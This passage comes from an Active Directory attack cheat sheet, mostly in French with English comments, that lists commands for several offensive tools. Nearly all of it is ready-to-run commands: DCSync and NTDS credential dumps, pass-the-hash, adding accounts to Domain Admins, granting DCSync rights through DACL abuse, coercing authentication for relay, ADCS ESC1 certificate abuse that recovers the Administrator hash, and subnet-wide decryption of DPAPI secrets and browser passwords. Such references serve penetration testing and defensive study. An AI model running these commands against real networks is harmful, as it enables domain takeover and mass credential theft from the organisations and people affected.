# pypykatz — single user (less noisy)
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]" \
  --username krbtgt

# pypykatz — pass-the-hash
pypykatz smb dcsync \
  "smb2+ntlm-nt://DOMAIN\Administrator:[email protected]"

# Metasploit — full domain dump
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN

# Metasploit — restrict to specific users
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN krb_users=krbtgt

# impacket — full NTLM dump
secretsdump.py DOMAIN/Administrator:[email protected] -just-dc-ntlm

# impacket — pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -just-dc-ntlm

# impacket — single account
secretsdump.py DOMAIN/Administrator:[email protected] \
  -just-dc-user DOMAIN/krbtgt

# NetExec
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds --user krbtgt

# NetExec — pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds

# gopacket — DCSync full NTLM dump
secretsdump -just-dc-ntlm DOMAIN/Administrator:[email protected]
# gopacket — DCSync pass-the-hash
secretsdump -just-dc-ntlm -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — DCSync single user
secretsdump -just-dc-user DOMAIN/krbtgt DOMAIN/Administrator:[email protected]

# Titanis — all objects, all credential fields
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — single user
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List krbtgt

# Titanis — pass-the-hash
Dsrep rep -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — Kerberos (use DC hostname; -Kdc obtains TGT inline)
Dsrep rep -UserName Administrator -UserDomain DOMAIN -Password 'Password123' \
  -Kdc 192.168.1.1 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — enumerate DCs first
Dsrep dcinfo -UserName Administrator@DOMAIN -Password 'Password123' 192.168.1.1

[↑ Retour à l'index](#index)

---

### Énumérer les groupes / Alias locaux```bash
# impacket — enumerate domain groups
net.py DOMAIN/jdoe:[email protected] group

# impacket — enumerate local aliases (BUILTIN groups) on a host
net.py DOMAIN/jdoe:[email protected] localgroup

# impacket — add/remove a user from a domain group
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser

# impacket — add/remove from a local alias (e.g. local Administrators)
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -join newuser
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -unjoin newuser

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --groups --local-groups

# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomgroups"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumalsgroups builtin"

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# bloodyAD — domain groups
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(objectClass=group)" --attr sAMAccountName,description,member

# Titanis
Sam enumgroups  192.168.1.10 -UserName jdoe -Password Password123
Sam enumaliases 192.168.1.10 -UserName jdoe -Password Password123

# gopacket — enumerate domain groups
net DOMAIN/jdoe:[email protected] group
# gopacket — enumerate local aliases
net DOMAIN/jdoe:[email protected] localgroup
# gopacket — list members of a specific group
net DOMAIN/jdoe:[email protected] group -name "Domain Admins"
net DOMAIN/jdoe:[email protected] localgroup -name Administrators
# gopacket — add/remove user from a domain group
net DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# gopacket — pass-the-hash
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] group

[↑ Retour à l'index](#index)

---

### Énumérer les points de terminaison RPC```bash
# impacket
rpcdump.py DOMAIN/jdoe:[email protected]
rpcmap.py ncacn_ip_tcp:192.168.1.10

# Titanis
Epm lsep 192.168.1.10

# gopacket — RPC endpoint mapper dump (password)
rpcdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
rpcdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — rpcmap (unauthenticated TCP endpoint enumeration)
rpcmap ncacn_ip_tcp:192.168.1.10

[↑ Back to Index](#index)

---

### Invocation de méthode WMI```bash
# impacket — exec-based workaround only
wmiexec.py DOMAIN/jdoe:[email protected] "calc.exe"

# Titanis — invoke any WMI method directly
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_Process Create "calc.exe"

[↑ Retour à l'index](#index)

---

### Descripteur de sécurité de clé de registre```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regetkeysecurity HKLM\\SAM"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regsetsecurity HKLM\\SAM <SDDL>"

# Titanis
Reg getsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SAM
Reg setsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  HKLM/SAM "O:BAG:SYD:(A;;KA;;;SY)"

[↑ Retour à l'index](#index)

---

### Gestion des privilèges LSA```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsaaddprivs S-1-5-21-...-1001 SeDebugPrivilege"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsadelprivs S-1-5-21-...-1001 SeDebugPrivilege"

# bloodyAD — no userRight subcommand; use rpcclient or Titanis for LSA privilege assignment

# Titanis
# ⚠️ Three requirements:
#   1. -PreferSmb required when targeting Domain Controllers (not needed for member servers)
#   2. -BySid required; -ByName is broken (LsaLookupNames always returns STATUS_OBJECT_NAME_NOT_FOUND)
#   3. Target account must have an existing LSA policy entry — run createaccount first if not
#
# Get SID first (impacket): lookupsid.py 'DOMAIN/admin:Pass@dc-ip' | grep <username>
#
# Step 1 — create LSA account entry if target has no existing explicit rights
Lsa createaccount 192.168.1.10 S-1-5-21-...-1001 \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -PreferSmb
# Step 2 — add/remove privilege
Lsa addpriv  192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa rmpriv   192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa setsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 0x20 -PreferSmb

[↑ Retour à l'index](#index)

---

## 6. Active Directory / LDAP

### Énumérer les utilisateurs / ordinateurs AD```bash
# impacket
GetADUsers.py    -all -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
GetADComputers.py     -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --users
netexec ldap 192.168.1.1 -u jdoe -p Password123 --computers

# bloodyAD
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=user)" --attr sAMAccountName,userPrincipalName,userAccountControl
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=computer)" --attr sAMAccountName,dNSHostName,operatingSystem

# msldap — password
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# msldap — pass-the-hash
msldap "ldap+ntlm-nt://DOMAIN\jdoe:[email protected]"

# msldap — Kerberos ccache
msldap "ldap+kerberos+ccache://DOMAIN\jdoe:@dc01.domain.local/?dc=192.168.1.1&ccache=jdoe.ccache"

# msldap — via SOCKS5
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080"

# Titanis — use Ldap query (not Ldap search) with -FollowReferrals on Linux
# Linux notes:
#   - Use Ldap query, not Ldap search — Ldap search always probes RootDSE first, hits a referral,
#     and returns no records regardless of -SearchBase or -FollowReferrals
#   - -FollowReferrals required — without it, referral targets are printed as INFO and results are empty
#   - -OutputFields only accepts one field at a time on Linux; comma lists show header but no rows
#     Workaround: -OutputFields '*' -OutputStyle List and grep/parse
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=user)" -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=computer)" -FollowReferrals

# gopacket — enumerate AD users (requires -port 389)
GetADUsers -all -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — enumerate AD computers (requires -port 389)
GetADComputers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetADUsers -all -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ Retour à l'index](#index)

---

### Trouver les configurations de délégation```bash
# impacket
findDelegation.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --trusted-for-delegation

# bloodyAD — unconstrained delegation
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attr sAMAccountName,userAccountControl

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> unconstrained

# Titanis — unconstrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForDelegation)" -OutputFields * -FollowReferrals

# Titanis — constrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(msDS-AllowedToDelegateTo=*)" -OutputFields * -FollowReferrals

# Titanis — S4U2self only
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForS4U2self)" -OutputFields * -FollowReferrals

# gopacket — find all delegation types (requires -port 389)
findDelegation -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
findDelegation -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ Retour à l'index](#index)

---

### Ajouter un compte utilisateur```bash
# impacket — net.py does NOT support user -add; use bloodyAD or netexec instead
# (net.py only supports user -list, -enable, -disable; creation via SAMR is not implemented)

# bloodyAD — password
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add user newuser Password123!

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  add user newuser Password123!

# net rpc (Samba)
net rpc user add newuser Password123! -U DOMAIN/jdoe%Password123 -S 192.168.1.10

# Titanis
Ldap adduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 newuser Password123!

[↑ Retour à l'index](#index)

---

### Abus de DACL

> **Statut de Titanis :** Aucune capacité d'écriture ACE. `bloodyAD` est l'option non-impacket préférée. `dacledit.py` / `owneredit.py` sont les solutions de repli impacket.```bash
# bloodyAD — grant GenericAll
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  add genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# bloodyAD — grant DCSync rights
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass add dcsync jdoe

# bloodyAD — change owner
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set owner targetuser jdoe

# bloodyAD — cleanup
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  remove genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# dacledit.py — grant DCSync
dacledit.py -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# dacledit.py — grant GenericAll
dacledit.py -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# owneredit.py — change owner
owneredit.py -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# gopacket — dacledit: read DACL on an object (requires -port 389)
dacledit -action read -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant DCSync rights
dacledit -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant FullControl
dacledit -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — owneredit: change owner (requires -port 389)
owneredit -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]

# Titanis — post-exploitation after ACE grant (force password reset)
Kerb setpw -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password jdoePass \
  targetuser@DOMAIN NewPass123

[↑ Retour à l'index](#index)

---

## 7. Coercition d'authentification

> Associez l'étape de coercition à `ntlmrelayx` ou Responder pour l'étape de relais. Titanis `credcoerce` couvre uniquement MS-EFSR.```bash
# MS-EFSR — single technique
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

# MS-EFSR — multiple techniques
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Techniques Efs.OpenFile,Efs.EncryptFile,Efs.DecryptFile,\
  Efs.QueryUsersOnFile,Efs.QueryRecoveryAgents,Efs.FileKeyInfo,\
  Efs.DuplicateEncryptionInfoFile

# MS-RPRN (PrinterBug) — no Titanis equivalent
printerbug.py DOMAIN/jdoe:[email protected] <listener-ip>

# NetExec — coerce_plus covers all methods (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEven)
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip>
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PrinterBug
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PetitPotam

# MS-DFSNM (DFSCoerce) — no Titanis equivalent
python3 dfscoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

# MS-FSRVP (ShadowCoerce) — no Titanis equivalent
python3 shadowcoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

[↑ Retour à l'index](#index)

---

## 8. Certificats

> **Statut de gopacket :** Aucun outil ADCS. Utilisez certipy, Titanis `Cert` ou impacket pour toutes les opérations de certificat.

### Génération de PFX auto-signé```bash
# certipy — Golden Certificate from compromised CA key (requires -ca-pfx)
# Note: certipy forge cannot produce a self-signed cert without the CA private key;
#       for Shadow Credentials use certipy shadow or impacket's pyWhisker instead

# certipy — Golden Certificate from compromised CA key
certipy forge -upn Administrator@DOMAIN -ca-pfx ca.pfx -out admin.pfx

# openssl — generic PKI (not trusted by AD for PKINIT without NTAuth enrollment)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/CN=jdoe"
openssl pkcs12 -export -out jdoe.pfx -inkey key.pem -in cert.pem -passout pass:Password123

# Titanis — works in interactive sessions (RDP/console); may fail in non-interactive sessions
Cert selfcert -Subject CN=jdoe -PfxFileName jdoe.pfx

[↑ Retour à l’index](#index)

---

### ADCS ESC1 — Inscrire et récupérer le NT Hash```bash
# Step 1 — enumerate vulnerable templates
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

# Step 2a — request certificate with arbitrary UPN (certipy, HTTP/RPC enrollment)
certipy req -username jdoe@DOMAIN -password Password123 \
  -ca CA-NAME -template VulnerableTemplate \
  -upn [email protected] \
  -target ca.domain.local -out admin

# Step 2b — request certificate via SMB (aiosmb asmbcertreq — works when HTTP enrollment is firewalled)
asmbcertreq "smb+ntlm-password://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# aiosmb — pass-the-hash
asmbcertreq "smb+ntlm-nt://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# Step 3a — certipy: recover NT hash + TGT
certipy auth -pfx admin.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# Step 3b — minikerberos: recover NT hash only
minikerberos-getNTPKInit \
  "kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt

# Step 4 — Titanis PTH with recovered hash (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
Smb2Client ls \\dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash <recovered_nt>
Reg dumpsam 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> -BackupSemantics

[↑ Back to Index](#index)

---

### Clé de sauvegarde de domaine DPAPI — Déchiffrement massif des informations d'identification

> La clé de sauvegarde de domaine DPAPI est un secret à l'échelle du domaine conservé sur les contrôleurs de domaine, qui déchiffre la clé maîtresse DPAPI de chaque utilisateur — et donc chaque blob protégé par DPAPI dans le domaine : mots de passe Chrome/Edge/Firefox, Gestionnaire d'informations d'identification Windows, certificats, clés Wi-Fi, comptes NAA SCCM, informations d'identification des tâches planifiées, et plus encore. L'extraction de cette clé nécessite des droits DA, mais une fois obtenue, la clé est valide en permanence, sauf rotation explicite. Elle offre une couverture d'informations d'identification comparable à celle de NTDS pour les secrets stockés dans des blobs DPAPI, et est souvent plus riche pour le mouvement latéral car elle fournit des mots de passe en clair plutôt que des hachages.```bash
# Step 1 — dump the domain backup key (impacket)
dpapi.py backupkeys -t DOMAIN/Administrator:[email protected] --export
# Writes domain_backup.pvk to current directory

# Step 1 — impacket pass-the-hash
dpapi.py backupkeys -t DOMAIN/[email protected] --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — gopacket (subcommand syntax: positional target after subcommand)
dpapi backupkeys 'DOMAIN/Administrator:[email protected]' --export
# gopacket — pass-the-hash
dpapi backupkeys 'DOMAIN/[email protected]' --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — dump the domain backup key (NetExec; fetches automatically during --dpapi)
netexec smb 192.168.1.1 -u Administrator -p Password123 --dpapi

# Step 2a — dploot: decrypt master keys for all domain users using backup key
dploot masterkeys -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk -outputfile masterkeys.txt

# Step 2b — dploot: decrypt all credential manager blobs across domain
dploot credentials -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2c — dploot: decrypt browser-stored passwords (Chrome, Edge, Firefox)
dploot browser -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2d — dploot: full triage (masterkeys + credentials + certificates + vaults)
dploot triage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2e — dploot: SCCM NAA credentials and collection variables
dploot sccm -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2f — dploot: machine (SYSTEM scope) DPAPI secrets
dploot machinetriage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1

# dploot — pass-the-hash
dploot triage -d DOMAIN -u Administrator \
  -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -t 192.168.1.1 --pvk domain_backup.pvk

# NetExec — DPAPI dump across subnet (fetches backup key automatically)
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi cookies
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi nosystem

# DonPAPI — comprehensive remote DPAPI harvest across subnet in one pass
# (auto-fetches backup key, decrypts masterkeys, dumps all DPAPI-protected secrets)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --fetch-pvk

# DonPAPI — supply existing backup key (quieter; avoids re-dumping from DC)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --pvkfile domain_backup.pvk

# DonPAPI — targeted collectors only
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --collectors SCCM,Certificates,Wifi,CredMan